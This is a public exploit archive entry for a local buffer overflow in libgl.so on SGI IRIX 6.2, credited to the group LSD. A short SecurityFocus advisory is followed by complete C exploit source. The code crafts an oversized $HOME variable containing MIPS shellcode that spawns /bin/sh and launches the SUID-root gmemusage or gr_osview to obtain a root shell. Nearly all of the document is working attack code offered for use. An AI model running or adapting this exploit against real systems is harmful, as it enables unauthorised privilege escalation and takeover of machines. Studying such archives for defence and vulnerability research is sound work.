SGI IRIX 6.2 - 'libgl.so' Local Buffer Overflow

/*
source: https://www.securityfocus.com/bid/1527/info

Certain versions of IRIX ship with a version libgl.so which is vulnerable to buffer overflow attacks. This library, libgl.so, is used in conjunction with graphical programs which use OpenGL. As a result a number of programs which utilize libgl.so can be exploited via this problem. The exploit which is in known public circulation at this time uses both gmemusage and gr_osview to exploit this problem. The buffer overflow itself is in how libgl.so handles the $HOME variable is handled (it is not checked for length). Further the programs which receive this $HOME variable from libgl.so further fail to limit it's size resulting in a buffer overflow attack. Should the receiving programs be SUID root (as are both gr_osview and gmemusage) the attacker will gain root access. 
*/

/*## copyright LAST STAGE OF DELIRIUM sep 1997 poland        *://lsd-pl.net/ #*/
/*## libgl.so $HOME                                                          #*/

#define ADRNUM 500
#define PCHNUM 320
#define TMPNUM 500
#define NOPNUM 740
#define ALLIGN 3

char shellcode[]=
    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "/bin/sh"
;

char jump[]=
    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"    /* jr      $ra                  */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
    char buffer[10000],adr[4],pch[4],tmp[4],*b,*envp[2];
    int i,n=-1;

    printf("copyright LAST STAGE OF DELIRIUM sep 1997 poland  //lsd-pl.net/\n");
    printf("libgl.so $HOME for irix 6.2 IP:20,22\n\n");

    if(argc!=2){
        printf("usage: %s {gmemusage|gr_osview}\n",argv[0]);
        exit(-1);
    }
    if(!strcmp(argv[1],"gmemusage")) n=0;
    if(!strcmp(argv[1],"gr_osview")) n=1;
    if(n==-1) exit(-1);

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10268+252+824+500;
    *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10268+252+824+31868;
    *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10268;

    envp[0]=buffer;
    envp[1]=0;

    b=buffer;
    sprintf(b,"HOME=");
    b+=5;
    for(i=0;i<ALLIGN;i++) *b++=0xff;
    for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
    *b++=0xff;
    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
    for(i=0;i<ALLIGN;i++) *b++=0xff;
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; 
    *b=0;

    switch(n){
    case 0: execle("/usr/sbin/gmemusage","lsd",0,envp);
    case 1: execle("/usr/sbin/gr_osview","lsd",0,envp);
    }
}